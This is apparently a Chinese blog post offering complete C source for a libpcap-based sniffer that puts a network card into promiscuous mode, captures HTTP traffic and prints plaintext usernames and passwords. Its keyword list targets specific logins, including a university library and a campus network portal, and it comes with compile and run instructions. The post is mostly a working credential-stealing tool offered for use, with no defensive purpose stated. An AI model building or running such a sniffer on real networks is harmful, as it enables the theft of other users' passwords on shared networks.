基于libpcap的HTTP密码嗅探程序

wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:

    sudo apt-get install libpcap-dev

编译密码嗅探程序的命令是:

    gcc sniffpwd.c -o sniffpwd -lpcap

密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。

为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:

    sudo fconfig eth0 promisc

程序很简单,主要是libpcap的用法,参考以下文章:

嗅探程序源代码如下:

    #include <time.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <pcap/pcap.h>
    #include <arpa/inet.h>
    #include <netinet/ether.h>

    //定义链路层数据包格式
    typedef struct {
        u_char DestMac[6];
        u_char SrcMac[6];
        u_char Etype[2];
    }ETHHEADER;

    //定义IP首部格式
    typedef struct ip_hdr
    {  
        unsigned char h_verlen;//4位首部长度,4位IP版本号  
        unsigned char tos;//8位服务类型TOS  
        unsigned short tatal_len;//16位总长度  
        unsigned short ident;//16位标示  
        unsigned short frag_and_flags;//偏移量和3位标志位  
        unsigned char ttl;//8位生存时间TTL  
        unsigned char proto;//8位协议(TCP,UDP或其他)  
        unsigned short checksum;//16位IP首部检验和  
        unsigned int sourceIP;//32位源IP地址  
        unsigned int destIP;//32位目的IP地址  
    }IPHEADER;

    //定义TCP首部格式
    typedef struct tcp_hdr
    {
        unsigned short sport;//16位源端口  
        unsigned short dport;//16位目的端口  
        unsigned int seq;//32位序列号  
        unsigned int ack;//32位确认号  
        unsigned char lenres;//4位首部长度/6位保留字  
        unsigned char flag;//6位标志位  
        unsigned short win;//16位窗口大小  
        unsigned short sum;//16位检验和  
        unsigned short urp;//16位紧急数据偏移量  
    }TCPHEADER;

    //全局变量
    int flag = 0;               //是否只显示嗅探到用户名或口令的包,默认为否
    long number =0;      //已嗅探到的包总数

    int isHTTP(char *datatcp, int len)
        //判断TCP包中是否有HTTP包,通过是否包含"HTTP/"来判断
    {
        int i=0;

        //只在TCP数据的前200字节查找
        int min=200;
        if(len<200){
            min=len;
        }
        //开始查找
        for(i=0;i<min;i++){
            if(datatcp[i]=='H' && i<min-4){
                if(datatcp[i+1]=='T'&&datatcp[i+2]=='T'&&datatcp[i+3]=='P'&&datatcp[i+4]=='/'){
                    return 1;
                }
            }
        }
        return 0;
        /*
        //判断TCP包中是否有HTTP包,通过是否以"HTTP/"开头来判断
        if(datatcp[0]=='H' && datatcp[1]=='T' && datatcp[2]=='T' && datatcp[3]=='P' && datatcp[4]=='/'){
            return 1;
        }else{
            return 0;    
        }
        */
    }

    void printHTTPhead(char *httphead, int len)
        //打印HTTP头部信息或头部第一行(取决于全局变量flag)
        //打印头部信息时遇到连续两个换行结束
    {
        int i;
        for(i=0;i<len;i++){
            if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){
                httphead[i]='\0';
                httphead[i+1]='\0';
                break;
            }
            if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){
                httphead[i]='\0';
                httphead[i+1]='\0';
                break;
            }
        }
        if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){
            //TCP PAWS处理 
            //http://www.unixresources.net/linux/clf/linuxK/archive/00/00/13/92/139290.html
            printf("%s", httphead+12);
        }else{
            printf("%s", httphead);
        }
        httphead[i]='\r';
        httphead[i+1]='\n';
    }

    int findPasswd(char *data, int len){
        //从HTTP包的数据部分寻找可能存在的用户名和密码,返回找到的个数
        //密码可能在URL里,cookie里,HTTP数据里,只能在整个http报文中匹配
        int i=0, j=0, min=200;
        int p=0;        //在data中的总偏移,用于防止修改非法地址的值
        int num=0;   //嗅探到的用户名或口令个数
        char temp;
        char * next;
        char * start;
        char * keyword[] = {    //字典,本程序核心技术所在
                                         "username=",         //最常见的
                                         "password=",         //最常见的
                                         "passwd=",             //最常见的
                                         "number=",            //我曾经用过的
                                         "user=",                  //这是我瞎想的
                                         "yonghuming=",     //汉语拼音
                                         "mima=",                //汉语拼音
                                         "userid=",               //织梦cms
                                         "pwd",                    //织梦cms
                                         "account=",            //知乎的,虽然它加密了
                                         "TxtName",            //华科图书馆
                                         "TxtPassword",      //华科图书馆
                                         "EPORTAL_COOKIE_USERNAME=", //校园网
                                         "EPORTAL_COOKIE_PASSWORD=", //校园网
                                         };
        int l=sizeof(keyword) / sizeof(keyword[0]);

        /* 由于TCP首部是变长的,传来的data可能包含有部分TCP首部数据,并不一定是HTTP数据
             故先查找字符串"HTTP/"或"POST"或"GET",从这个字符串后匹配用户名密码*/
        for(i=0;i<min;i++){
            if(data[i]=='H' && i<min-4){
                if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){
                    start = data+i;
                    break;
                }
            }
            if(data[i]=='G' && i<min-3){
                if(data[i+1]=='E' && data[i+2]=='T'){
                    start = data+i;
                    break;
                }
            }
            if(data[i]=='P' && i<min-4){
                if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){
                    start = data+i;
                    break;
                }
            }
        }

        /* 依次匹配每个关键词 */
        for(i=0;i<l;i++){
            next = start;
            p = 0;
            while( next = strstr(next, keyword[i]) ){   //一个关键词可能出现多次
                j=0;
                while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){
                    //若密码中出现了空格和分号,会被自动转码为+和%%3B,而密码中的+会被自动转码为%2B
                    if(p>=len){
                        break;
                    }
                    j++;
                    p++;
                }
                temp = next[j];
                next[j] = '\0';
                if(num==0){
                    printf("**********口令嗅探结果***********");
                }
                printf("\n%s", next);
                num++;
                next[j] = temp;
                next = next + j;
            }
        }
        return num;
    }

    void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data)
        //pcap_loop回调函数
    {
        /* 声明变量 */
        int off,ret;
        time_t timep;
        char * datatcp;
        char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2];  //源IP和目的IP
        struct sockaddr_in saSource, saDest;                                                 //源地址结构体,目的地址结构体

        /* 设置各种头指针  */
        if(header->len<sizeof(ETHHEADER)) return;              //数据帧长度小于以太网头,不做处理
        IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER));
        TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER));
        if(pIpheader->proto!=6) return;                                 //只处理TCP数据
        off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER);
        datatcp = (unsigned char *)pkt_data + off;

        if(isHTTP(datatcp, header->len-off)){
            /* 若是HTTP报文 */

            number ++;

            //打印嗅探结果
            ret = findPasswd(datatcp, header->len-off);
            if(ret==0 && flag==0){
                //没有嗅探到任何口令
                printf("**********口令嗅探结果***********");
                printf("\n没有嗅探到任何口令");
            }else if(ret>0 && !flag){
                printf("\n共嗅探到%d个用户名或口令", ret);
            }

            //flag为1时跳过未嗅探到口令的包
            if(ret==0 && flag) return;

            // 解析IP地址
            saSource.sin_addr.s_addr = pIpheader->sourceIP;
            strcpy(szSourceIP, inet_ntoa(saSource.sin_addr));
            saDest.sin_addr.s_addr = pIpheader->destIP;
            strcpy(szDestIP, inet_ntoa(saDest.sin_addr));

            if(!flag){
                //打印全部信息
                time (&timep); 
                printf("\n**********数据包信息***********");
                printf("\n数据包编号: %ld", number);
                printf("\n数据包长度: %d", header->len);
                printf("\n捕获时间: %s", asctime(localtime(&timep)));
                printf("**********IP协议头部***********");  
                printf("\n标示: %i", ntohs(pIpheader->ident));  
                printf("\n总长度: %i", ntohs(pIpheader->tatal_len));  
                printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags));  
                printf("\n生存时间: %d",pIpheader->ttl);  
                printf("\n服务类型: %d",pIpheader->tos);  
                printf("\n协议类型: %d",pIpheader->proto);  
                printf("\n检验和: %i", ntohs(pIpheader->checksum));  
                printf("\n源IP: %s", szSourceIP);  
                printf("\n目的IP: %s", szDestIP);  
                printf("\n**********TCP协议头部***********");  
                printf("\n源端口: %i", ntohs(pTcpheader->sport));  
                printf("\n目的端口: %i", ntohs(pTcpheader->dport));  
                printf("\n序列号: %i", ntohs(pTcpheader->seq));  
                printf("\n应答号: %i", ntohs(pTcpheader->ack));  
                printf("\n检验和: %i", ntohs(pTcpheader->sum));

                //打印HTTP头部信息
                printf("\n**********HTTP协议头部***********\n");
                printHTTPhead(datatcp, header->len-off);
            }
            else{
                //只打印必须的信息(必须是指能识别出具体发往哪个网页)
                printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport));
                printHTTPhead(datatcp, header->len-off);
            }
            //额外的换行
            printf("\n\n");
        }

        /*
        //显示数据帧内容
        int i;
        for(i=0; i<(int)header->len; ++i)  {  
            printf(" %02x", pkt_data[i]);  
            if( (i + 1) % 16 == 0 )   
                printf("\n");  
        }
        */
    }

    int main(int argc, char** argv)
    {
        /* 声明变量 */
        int id = 0;
        char errpkt_data[1024];
        char *dev="eth0";
        bpf_u_int32 ipmask=0;
        struct bpf_program fcode;
        struct pcap_pkthdr packet;

        /* 处理参数 */
        if(argc==2){
            dev = argv[1];  //指定网卡
        }
        else if(argc==3){
            dev = argv[1];  //指定网卡
            flag = 1;           //只显示嗅探到用户名或口令的包
        }

        /* 打开网络设备 */
        pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data);
        if(!device){
            printf("%s\n", errpkt_data);
            return 1;
        }

        /* 设置过滤规则,只抓取TCP包 */
        if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){
            printf("%s\n", pcap_geterr(device));
        }
        if(pcap_setfilter(device, &fcode)==-1){
            printf("%s\n", pcap_geterr(device));
            return 1;
        }

        /* 开始抓包 */
        pcap_loop(device, -1, pcap_handle, (u_char*)&id);
        return 0;
    }

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

5 + 20 =